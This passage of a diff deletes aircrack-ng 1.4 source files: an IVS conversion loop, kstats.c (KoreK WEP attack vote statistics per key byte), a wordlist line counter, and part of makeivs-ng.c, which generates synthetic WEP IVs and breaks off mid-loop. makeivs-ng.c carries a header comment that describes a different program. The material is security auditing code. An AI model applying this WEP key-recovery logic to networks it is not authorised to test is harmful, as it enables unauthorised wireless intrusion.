-	fivs2.version = IVS2_VERSION;
-
-	unused = fwrite(IVS2_MAGIC, 4, 1, G.f_ivs);
-	unused = fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs);
-
-	nbr = 0;
-	tt = time(NULL) - 1;
-
-	nbivs = 0;
-
-	while (1)
-	{
-		if (time(NULL) - tt > 0)
-		{
-			erase_line(0);
-			printf("Read %lu packets...\r", nbr);
-			fflush(stdout);
-			tt = time(NULL);
-		}
-
-		/* read one packet */
-
-		n = sizeof(pkh);
-
-		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
-
-		if (pfh.magic == TCPDUMP_CIGAM)
-		{
-			SWAP32(pkh.caplen);
-			SWAP32(pkh.len);
-		}
-
-		n = pkh.caplen;
-
-		if (n <= 0 || n > 65535)
-		{
-			printf("Corrupted file? Invalid packet length: %d.\n", n);
-			return (1);
-		}
-
-		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
-
-		++nbr;
-
-		h80211 = buffer;
-
-		/* remove any prism/radiotap header */
-
-		if (pfh.linktype == LINKTYPE_PRISM_HEADER)
-		{
-			if (h80211[7] == 0x40)
-				n = 64;
-			else
-			{
-				n = *(int *) (h80211 + 4);
-
-				if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
-			}
-
-			if (n < 8 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
-		{
-			n = *(unsigned short *) (h80211 + 2);
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		if (pfh.linktype == LINKTYPE_PPI_HDR)
-		{
-			/* Remove the PPI header */
-
-			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			/* for a while Kismet logged broken PPI headers */
-			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-				n = 32;
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		ret = dump_add_packet(h80211, pkh.caplen);
-
-		if (ret == IVS) ++nbivs;
-	}
-	fclose(f_in);
-	fclose(G.f_ivs);
-
-	erase_line(2);
-	printf("Read %lu packets.\n", nbr);
-
-	if (nbivs > 0)
-		printf("Written %lu IVs.\n", nbivs);
-	else
-	{
-		remove(argv[3]);
-		puts("No IVs written");
-	}
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/kstats.c Deleted

@@ -1,439 +0,0 @@
-/*
- *  Kstat: displays the votes of the korek attack for each keybyte
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005  Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-
-#include "aircrack-util/common.h"
-
-#define IVBUF_SIZE (5UL * 0xFFFFFF)
-#define N_ATTACKS 17
-
-enum KoreK_attacks
-{
-	A_u15, /* semi-stable  15%             */
-	A_s13, /* stable       13%             */
-	A_u13_1, /* unstable     13%             */
-	A_u13_2, /* unstable ?   13%             */
-	A_u13_3, /* unstable ?   13%             */
-	A_s5_1, /* standard      5% (~FMS)      */
-	A_s5_2, /* other stable  5%             */
-	A_s5_3, /* other stable  5%             */
-	A_u5_1, /* unstable      5% no good ?   */
-	A_u5_2, /* unstable      5%             */
-	A_u5_3, /* unstable      5% no good     */
-	A_u5_4, /* unstable      5%             */
-	A_s3, /* stable        3%             */
-	A_4_s13, /* stable       13% on q = 4    */
-	A_4_u5_1, /* unstable      5% on q = 4    */
-	A_4_u5_2, /* unstable      5% on q = 4    */
-	A_neg /* helps reject false positives */
-};
-
-int K_COEFF[N_ATTACKS]
-	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
-
-static void calc_votes(unsigned char * ivbuf,
-					   long nb_ivs,
-					   unsigned char * key,
-					   int B,
-					   int votes[N_ATTACKS][256])
-{
-	int i, j;
-	long xv;
-	unsigned char R[256], jj[256];
-	unsigned char S[256], Si[256];
-	unsigned char K[64];
-
-	unsigned char io1, o1, io2, o2;
-	unsigned char Sq, dq, Kq, jq, q;
-	unsigned char S1, S2, J2, t2;
-
-	for (i = 0; i < 256; i++) R[i] = i;
-
-	q = 3 + B;
-
-	memcpy(K + 3, key, B);
-	memset(votes, 0, sizeof(int) * N_ATTACKS * 256);
-
-	for (xv = 0; xv < nb_ivs; xv += 5)
-	{
-		memcpy(K, &ivbuf[xv], 3);
-		memcpy(S, R, 256);
-		memcpy(Si, R, 256);
-
-		for (i = j = 0; i < q; i++)
-		{
-			jj[i] = j = (j + S[i] + K[i & 15]) & 0xFF;
-			SWAP(S[i], S[j]);
-		}
-
-		i = q;
-		do
-		{
-			i--;
-			SWAP(Si[i], Si[jj[i]]);
-		} while (i != 0);
-
-		o1 = ivbuf[xv + 3] ^ 0xAA;
-		io1 = Si[o1];
-		S1 = S[1];
-		o2 = ivbuf[xv + 4] ^ 0xAA;
-		io2 = Si[o2];
-		S2 = S[2];
-		Sq = S[q];
-		dq = Sq + jj[q - 1];
-
-		if (S2 == 0)
-		{
-			if ((S1 == 2) && (o1 == 2))
-			{
-				Kq = 1 - dq;
-				votes[A_neg][Kq]++;
-				Kq = 2 - dq;
-				votes[A_neg][Kq]++;
-			}
-			else if (o2 == 0)
-			{
-				Kq = 2 - dq;
-				votes[A_neg][Kq]++;
-			}
-		}
-		else
-		{
-			if ((o2 == 0) && (Sq == 0))
-			{
-				Kq = 2 - dq;
-				votes[A_u15][Kq]++;
-			}
-		}
-
-		if ((S1 == 1) && (o1 == S2))
-		{
-			Kq = 1 - dq;
-			votes[A_neg][Kq]++;
-			Kq = 2 - dq;
-			votes[A_neg][Kq]++;
-		}
-
-		if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
-		{
-			Kq = 0 - dq;
-			votes[A_neg][Kq]++;
-			Kq = 1 - dq;
-			votes[A_neg][Kq]++;
-		}
-
-		if (S1 == q)
-		{
-			if (o1 == q)
-			{
-				Kq = Si[0] - dq;
-				votes[A_s13][Kq]++;
-			}
-			else if (((1 - q - o1) & 0xFF) == 0)
-			{
-				Kq = io1 - dq;
-				votes[A_u13_1][Kq]++;
-			}
-			else if (io1 < q)
-			{
-				jq = Si[(io1 - q) & 0xFF];
-
-				if (jq != 1)
-				{
-					Kq = jq - dq;
-					votes[A_u5_1][Kq]++;
-				}
-			}
-		}
-
-		if ((io1 == 2) && (S[q] == 1))
-		{
-			Kq = 1 - dq;
-			votes[A_u5_2][Kq]++;
-		}
-
-		if (S[q] == q)
-		{
-			if ((S1 == 0) && (o1 == q))
-			{
-				Kq = 1 - dq;
-				votes[A_u13_2][Kq]++;
-			}
-			else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
-			{
-				Kq = 1 - dq;
-				votes[A_u13_3][Kq]++;
-			}
-			else if ((S1 >= ((-q) & 0xFF)) && (((q + S1 - io1) & 0xFF) == 0))
-			{
-				Kq = 1 - dq;
-				votes[A_u5_3][Kq]++;
-			}
-		}
-
-		if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
-			&& (io1 != S[S1]))
-		{
-			Kq = io1 - dq;
-			votes[A_s5_1][Kq]++;
-		}
-
-		if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
-		{
-			if (o2 == S1)
-			{
-				jq = Si[(S1 - S2) & 0xFF];
-
-				if ((jq != 1) && (jq != 2))
-				{
-					Kq = jq - dq;
-					votes[A_s5_2][Kq]++;
-				}
-			}
-			else if (o2 == ((2 - S2) & 0xFF))
-			{
-				jq = io2;
-
-				if ((jq != 1) && (jq != 2))
-				{
-					Kq = jq - dq;
-					votes[A_s5_3][Kq]++;
-				}
-			}
-		}
-
-		if ((S[1] != 2) && (S[2] != 0))
-		{
-			J2 = S[1] + S[2];
-
-			if (J2 < q)
-			{
-				t2 = S[J2] + S[2];
-
-				if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
-				{
-					Kq = io2 - dq;
-					votes[A_s3][Kq]++;
-				}
-			}
-		}
-
-		if (S1 == 2)
-		{
-			if (q == 4)
-			{
-				if (o2 == 0)
-				{
-					Kq = Si[0] - dq;
-					votes[A_4_s13][Kq]++;
-				}
-				else
-				{
-					if ((jj[1] == 2) && (io2 == 0))
-					{
-						Kq = Si[254] - dq;
-						votes[A_4_u5_1][Kq]++;
-					}
-					if ((jj[1] == 2) && (io2 == 2))
-					{
-						Kq = Si[255] - dq;
-						votes[A_4_u5_2][Kq]++;
-					}
-				}
-			}
-			else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1) && (io2 != 4))
-			{
-				Kq = io2 - dq;
-				votes[A_u5_4][Kq]++;
-			}
-		}
-	}
-}
-
-typedef struct
-{
-	int idx, val;
-} vote;
-
-static int cmp_votes(const void * bs1, const void * bs2)
-{
-	if (((vote *) bs1)->val < ((vote *) bs2)->val) return (1);
-
-	if (((vote *) bs1)->val > ((vote *) bs2)->val) return (-1);
-
-	return (0);
-}
-
-int main(int argc, char * argv[])
-{
-	FILE * f;
-	long nb_ivs;
-	int i, n, B, *vi;
-	int votes[N_ATTACKS][256];
-
-	unsigned char *ivbuf, *s;
-	unsigned char buffer[4096];
-	unsigned char wepkey[16];
-
-	vote poll[64][256];
-
-	if (argc != 3)
-	{
-		printf("usage: kstats <ivs file> <104-bit key>\n");
-		return (1);
-	}
-
-	i = 0;
-	s = (unsigned char *) argv[2];
-
-	buffer[0] = s[0];
-	buffer[1] = s[1];
-	buffer[2] = '\0';
-
-	while (sscanf((char *) buffer, "%x", &n) == 1)
-	{
-		if (n < 0 || n > 255)
-		{
-			fprintf(stderr, "Invalid wep key.\n");
-			return (1);
-		}
-
-		wepkey[i++] = n;
-
-		if (i >= 16) break;
-
-		s += 2;
-
-		if (s[0] == ':' || s[0] == '-') s++;
-
-		if (s[0] == '\0' || s[1] == '\0') break;
-
-		buffer[0] = s[0];
-		buffer[1] = s[1];
-	}
-
-	if (i != 13)
-	{
-		fprintf(stderr, "Invalid wep key.\n");
-		return (1);
-	}
-
-	if ((ivbuf = (unsigned char *) malloc(IVBUF_SIZE)) == NULL)
-	{
-		perror("malloc");
-		return (1);
-	}
-
-	memset(ivbuf, 0, IVBUF_SIZE);
-
-	if ((f = fopen(argv[1], "rb")) == NULL)
-	{
-		free(ivbuf);
-		perror("fopen");
-		return (1);
-	}
-
-	if (fread(buffer, 1, 4, f) != 4)
-	{
-		free(ivbuf);
-		fclose(f);
-		perror("fread header");
-		return (1);
-	}
-
-	if (memcmp(buffer, "\xBF\xCA\x84\xD4", 4) != 0)
-	{
-		free(ivbuf);
-		fclose(f);
-		fprintf(stderr, "Not an .IVS file\n");
-		return (1);
-	}
-
-	nb_ivs = 0;
-
-	while (1)
-	{
-		if (fread(buffer, 1, 1, f) != 1) break;
-
-		if (buffer[0] != 0xFF)
-			if (fread(buffer + 1, 1, 5, f) != 5) break;
-
-		if (fread(buffer, 1, 5, f) != 5) break;
-
-		memcpy(ivbuf + nb_ivs * 5, buffer, 5);
-
-		nb_ivs++;
-	}
-
-	for (B = 0; B < 13; B++)
-	{
-		for (i = 0; i < 256; i++)
-		{
-			poll[B][i].idx = i;
-			poll[B][i].val = 0;
-		}
-
-		calc_votes(ivbuf, nb_ivs, wepkey, B, votes);
-
-		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
-			for (i = 0; i < 256; i++, vi++) poll[B][i].val += *vi * K_COEFF[n];
-
-		qsort(poll[B], 256, sizeof(vote), cmp_votes);
-
-		printf("KB %02d VALID  %02X", B, wepkey[B]);
-
-		for (i = 0; i < 256; i++)
-			if (poll[B][i].idx == wepkey[B]) printf("(%4d) ", poll[B][i].val);
-
-		for (i = 0; i < N_ATTACKS; i++) printf("%3d  ", votes[i][wepkey[B]]);
-
-		printf("\n");
-
-		printf("KB %02d FIRST  %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val);
-
-		for (i = 0; i < N_ATTACKS; i++)
-			printf("%3d  ", votes[i][poll[B][0].idx]);
-
-		printf("\n");
-
-		printf("KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val);
-
-		for (i = 0; i < N_ATTACKS; i++)
-			printf("%3d  ", votes[i][poll[B][1].idx]);
-
-		printf("\n");
-
-		printf("KB %02d THIRD  %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val);
-
-		for (i = 0; i < N_ATTACKS; i++)
-			printf("%3d  ", votes[i][poll[B][2].idx]);
-
-		printf("\n\n");
-	}
-
-	free(ivbuf);
-	fclose(f);
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/linecount.cpp Deleted

@@ -1,134 +0,0 @@
-/*
- *  High speed wordcounting functions for ETA calculations by Len White <lwhite
- * at nrw.ca>
- *
- *  Copyright (C) 2015 Len White <lwhite at nrw.ca>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- *
- *  Why is this in C++?
- *
- *  The first several versions of this function were written in C
- *  but when it came to optimizing the speed, I kept hitting brick walls.
- *  mmap() produced favorable results on Linux but when I tested it on
- *  Windows or BSD, it was beyond horrible.  Memory Mapping seems to work
- *  drastically different there, and I even went so far as to write a version
- *  in native Win32 code which helped slightly but was still far slower than
- *  even normal read().
- *
- *  With some people using massive dictionaries 20-25GB in size, it's important
- *  that this function be as efficient, and as portable as possible.  I used
- *  the time command to compare runtime between all my tests; ifstream ifs()
- *  and ifs.read() were at least 30-50% faster than the next best solution
- *  except for mmap() on Linux which beat it out by 3-4% but usually only
- *  on a 2nd run.
- *
- *  A possible alternative to this could be the SFIO library but further
- *  research and testing is required, other big projects like graphviz and perl
- *  make use of it.  This was designed so it's easy to replace if we can
- *  find a better solution performance wise.
- */
-
-#include <iostream>
-#include <fstream>
-#include <vector>
-#include <ctime>
-#include <string.h>
-#include <sys/types.h>
-#include "linecount.h"
-
-using namespace std;
-
-unsigned int FileRead(istream & is, vector<char> & buff)
-{
-	is.read(&buff[0], buff.size());
-	return is.gcount();
-}
-
-unsigned int countBuffer(const vector<char> & buff, int bufsize)
-{
-	int lines = 0, i = 4;
-	const char * p = &buff[0];
-	unsigned short charct = 0;
-
-	bufsize--;
-
-	while (i++ < bufsize)
-	{
-		if (p[i] == '\n')
-		{
-			if (charct > 7) lines++;
-
-			i += 1;
-			charct = 1;
-			continue;
-		}
-
-		charct++;
-	}
-
-	return lines;
-}
-
-unsigned int linecount(const char * file, off_t offset, size_t offsetmax)
-{
-	const int SZ = READBUF_BLKSIZE;
-	std::vector<char> buff(SZ);
-	ifstream ifs(file);
-	unsigned int n = 0;
-	int cc = 0;
-	size_t blkcnt = 0;
-
-	if (offset) ifs.seekg(offset, ifs.beg);
-
-	// I know doing a redundant loop looks dirty but it's so we don't get a
-	// performance penalty
-	// inside the loop if we're not using offsetmax, since some files could be
-	// 20+ GB this is important.
-	if (offsetmax)
-	{
-		while ((cc = FileRead(ifs, buff)))
-		{
-			n += countBuffer(buff, cc);
-
-			if (blkcnt >= offsetmax) return n;
-
-			blkcnt++;
-		}
-	}
-	else
-	{
-		while ((cc = FileRead(ifs, buff)))
-		{
-			n += countBuffer(buff, cc);
-		}
-	}
-
-	return n;
-}

aircrack-ng-1.4.tar.gz/src/makeivs-ng.c Deleted

@@ -1,617 +0,0 @@
-/*
-  * Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
-  *
-  *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-  *  Copyright (C) 2004, 2005 Christophe Devine
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <getopt.h>
-#include <time.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "uniqueiv.h"
-#include "aircrack-util/common.h"
-
-#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
-
-char usage[] =
-
-	"\n"
-	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-	"  https://www.aircrack-ng.org\n"
-	"\n"
-	"  usage: makeivs-ng [options]\n"
-	"\n"
-	"  Common options:\n"
-	"      -b <bssid> : Set access point MAC address\n"
-	"      -f <num>   : Number of first IV\n"
-	"      -k <key>   : Target network WEP key in hex\n"
-	"      -s <num>   : Seed used to setup random generator\n"
-	"      -w <file>  : Filename to write IVs into\n"
-	"      -c <num>   : Number of IVs to generate\n"
-	"      -d <num>   : Percentage of dupe IVs\n"
-	"      -e <num>   : Percentage of erroneous keystreams\n"
-	"      -l <num>   : Length of keystreams\n"
-	"      -n         : Ignores weak IVs\n"
-	"      -p         : Uses prng algorithm to generate IVs\n"
-	"\n"
-	"      --help     : Displays this usage screen\n"
-	"\n";
-
-int main(int argc, char * argv[])
-{
-	int i, j, k, pre_n, n, count = 100000, length = 16;
-	int paramUsed = 0, keylen = 0, zero = 0, startiv = 0, iv = 0;
-	FILE * f_ivs_out;
-	unsigned char K[32];
-	unsigned char S[256];
-	//     unsigned char buffer[64];
-	char *s, *filename = NULL;
-	struct ivs2_pkthdr ivs2;
-	struct ivs2_filehdr fivs2;
-	unsigned long long size;
-	int option_index, option, crypt = 0;
-	char buf[2048];
-	int weplen = 0, nofms = 0, prng = 0;
-	float errorrate = 0, dupe = 0;
-	unsigned char bssid[6];
-	int seed = time(NULL), z;
-	int maxivs = 0x1000000;
-	unsigned char byte;
-	unsigned char ** uiv_root;
-
-	static struct option long_options[] = {{"key", 1, 0, 'k'},
-										   {"write", 1, 0, 'w'},
-										   {"count", 1, 0, 'c'},
-										   {"seed", 1, 0, 's'},
-										   {"length", 1, 0, 'l'},
-										   {"first", 1, 0, 'f'},
-										   {"bssid", 1, 0, 'b'},
-										   {"dupe", 1, 0, 'd'},
-										   {"error", 1, 0, 'e'},
-										   {"nofms", 0, 0, 'n'},
-										   {"prng", 0, 0, 'p'},
-										   {"help", 0, 0, 'H'},
-										   {0, 0, 0, 0}};
-
-	i = 0;
-	memset(K, 0, 32);
-	memset(bssid, 0, 6);
-	uiv_root = uniqueiv_init();
-
-	/* check the arguments */
-
-	do
-	{
-		option_index = 0;
-
-		option = getopt_long(
-			argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				goto usage;
-				break;
-
-			case '?':
-
-				goto usage;
-				break;
-
-			case 'n':
-
-				paramUsed = 1;
-				nofms = 1;
-				break;
-
-			case 'p':
-
-				paramUsed = 1;
-				prng = 1;
-				break;
-
-			case 'l':
-
-				paramUsed = 1;
-				if (atoi(optarg) < 2 || atoi(optarg) > 2300)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-					printf("Specified keystream length is invalid. [2-2300]");
-					return (1);
-				}
-
-				length = atoi(optarg);
-				break;
-
-			case 'c':
-
-				paramUsed = 1;
-				if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-					printf("Specified number of IVs is invalid. [1-16777216]");
-					return (1);
-				}
-
-				count = atoi(optarg);
-				break;
-
-			case 's':
-
-				paramUsed = 1;
-				if (atoi(optarg) < 1)
-				{
-					printf("Specified seed is invalid. [>=1]");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				seed = atoi(optarg);
-				break;
-
-			case 'e':
-
-				paramUsed = 1;
-				sscanf(optarg, "%f", &errorrate);
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				if (errorrate < 0.0f || errorrate > (0.0f + 100))
-				{
-#else
-				if (errorrate < 0.0f || errorrate > 100.0f)
-				{
-#endif
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-					printf("Specified errorrate is invalid. [0-100]");
-					return (1);
-				}
-
-				break;
-
-			case 'd':
-
-				paramUsed = 1;
-				if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f
-					|| dupe >
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						   (0.0f + 100))
-				{
-#else
-						   100.0f)
-				{
-#endif
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-
-					printf("Specified dupe is invalid. [0-100]");
-					return (1);
-				}
-
-				break;
-
-			case 'f':
-
-				paramUsed = 1;
-				if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-
-					printf("Specified start IV is invalid. [0-16777215]");
-					return (1);
-				}
-
-				paramUsed = 1;
-				startiv = atoi(optarg);
-				break;
-
-			case 'w':
-
-				paramUsed = 1;
-				filename = optarg;
-				break;
-
-			case 'b':
-
-				paramUsed = 1;
-				if (memcmp(bssid, NULL_MAC, 6) != 0)
-				{
-					printf("Notice: bssid already given\n");
-					break;
-				}
-				if (getmac(optarg, 1, bssid) != 0)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-
-					printf("Notice: invalid bssid\n");
-					return (1);
-				}
-				break;
-
-			case 'k':
-
-				paramUsed = 1;
-				if (crypt != 0)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-
-					printf("Encryption key already specified.\n");
-					return (1);
-				}
-
-				crypt = 1;
-
-				i = 0;
-				s = optarg;
-
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf(usage,
-							   getVersion("makeivs-ng",
-										  _MAJ,
-										  _MIN,
-										  _SUB_MIN,
-										  _REVISION,
-										  _BETA,
-										  _RC));
-
-						printf("Invalid WEP key.\n");
-						return (1);
-					}
-
-					if (3 + i >= 32) break;
-
-					K[3 + i++] = n;
-
-					s += 2;
-
-					if (s[0] == ':' || s[0] == '-') s++;
-
-					if (s[0] == '\0' || s[1] == '\0') break;
-
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				if (i != 5 && i != 13 && i != 29)
-				{
-					printf(usage,
-						   getVersion("makeivs-ng",
-									  _MAJ,
-									  _MIN,
-									  _SUB_MIN,
-									  _REVISION,
-									  _BETA,
-									  _RC));
-
-					printf("Invalid WEP key length. [5,13,29]\n");
-					return (1);
-				}
-
-				weplen = i;
-				keylen = i + 3;
-
-				break;
-
-			case 'h':
-			case 'H':
-				goto usage;
-				break;
-
-			default:
-				goto usage;
-		}
-	} while (1);
-
-	if (nofms) maxivs -= 256 * weplen;
-
-	srand(seed);
-
-	if (paramUsed == 0)
-	{
-	usage:
-		printf(usage,
-			   getVersion(
-				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-		return (0);
-	}
-
-	if (count > maxivs)
-	{
-		printf(usage,
-			   getVersion(
-				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-
-		printf("Specified too many IVs (%d), but there are only %d possible.\n",
-			   count,
-			   maxivs);
-		return (1);
-	}
-
-	if (length == 0) length = 16; // default 16 keystreambytes
-
-	if (crypt < 1)
-	{
-		printf(usage,
-			   getVersion(
-				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-
-		printf("You need to specify the WEP key (-k).\n");
-		return (1);
-	}
-
-	if (filename == NULL)
-	{
-		printf(usage,
-			   getVersion(
-				   "makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-
-		printf("You need to specify the output filename (-w).\n");
-		return (1);
-	}
-
-	size = (long long) strlen(IVS2_MAGIC)
-		   + (long long) sizeof(struct ivs2_filehdr)
-		   + (long long) count * (long long) sizeof(struct ivs2_pkthdr)
-		   + (long long) count * (long long) (length + 4);
-
-	printf("Creating %d IVs with %d bytes of keystream each.\n", count, length);
-	printf("Estimated filesize: ");
-	if (size > 1024 * 1024 * 1024) // over 1 GB
-		printf("%.2f GB\n", ((double) size / (1024.0 * 1024.0 * 1024.0)));
-	else if (size > 1024 * 1024) // over 1 MB
-		printf("%.2f MB\n", ((double) size / (1024.0 * 1024.0)));
-	else if (size > 1024) // over 1 KB
-		printf("%.2f KB\n", ((double) size / 1024.0));
-	else // under 1 KB
-		printf("%.2f Byte\n", (double) size);
-
-	if ((f_ivs_out = fopen(filename, "wb+")) == NULL)
-	{
-		perror("fopen");
-		return (1);
-	}
-
-	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs_out) != (size_t) 4)
-	{
-		perror("fwrite(IVs file MAGIC) failed");
-		return (1);
-	}
-
-	memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr));
-	fivs2.version = IVS2_VERSION;
-
-	/* write file header */
-	if (fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out) != (size_t) 1)
-	{
-		perror("fwrite(IV file header) failed");
-		return (1);
-	}
-
-	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-	ivs2.flags |= IVS2_BSSID;
-	ivs2.len += 6;
-
-	/* write header */
-	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
-		!= (size_t) sizeof(struct ivs2_pkthdr))
-	{
-		perror("fwrite(IV header) failed");
-		return (1);
-	}
-
-	if (memcmp(NULL_MAC, bssid, 6) == 0)
-	{
-		memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6);
-	}
-
-	/* write BSSID */
-	if (fwrite(bssid, 1, 6, f_ivs_out) != (size_t) 6)
-	{
-		perror("fwrite(IV bssid) failed");
-		return (1);
-	}
-	printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n",
-		   bssid[0],
-		   bssid[1],
-		   bssid[2],
-		   bssid[3],
-		   bssid[4],
-		   bssid[5]);
-	z = 0;
-	pre_n = 0;
-	for (n = 0; n < count; n++)
-	{
-		if ((dupe == 0) || (pre_n == n)
-			|| ((float) rand() / (float) RAND_MAX > (float) ((float) dupe /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-															 (0.0f + 100))))
-#else
-															 100.0f)))
-#endif
-		{
-			if (prng)
-			{
-				iv = rand() & 0xFFFFFF;
-			}
-			else
-			{
-				iv = (z + startiv) & 0xFFFFFF;
-				z++;
-			}
-
-			if (nofms)
-			{
-				if ((iv & 0xff00) == 0xff00)
-				{
-					byte = (iv >> 16) & 0xff;
-					if (byte >= 3 && byte < keylen)
-					{
-						if (!prng && (iv & 0xFF) == 0) z += 0xff;
-						n--;
-						continue;
-					}
-				}
-			}
-
-			if (uniqueiv_check(uiv_root, (unsigned char *) &iv) != 0)
-			{
-				n--;
-				continue;
-			}
-
-			uniqueiv_mark(uiv_root, (unsigned char *) &iv);
-		}
-
-		pre_n = n;
-
-		K[2] = (iv >> 16) & 0xFF;
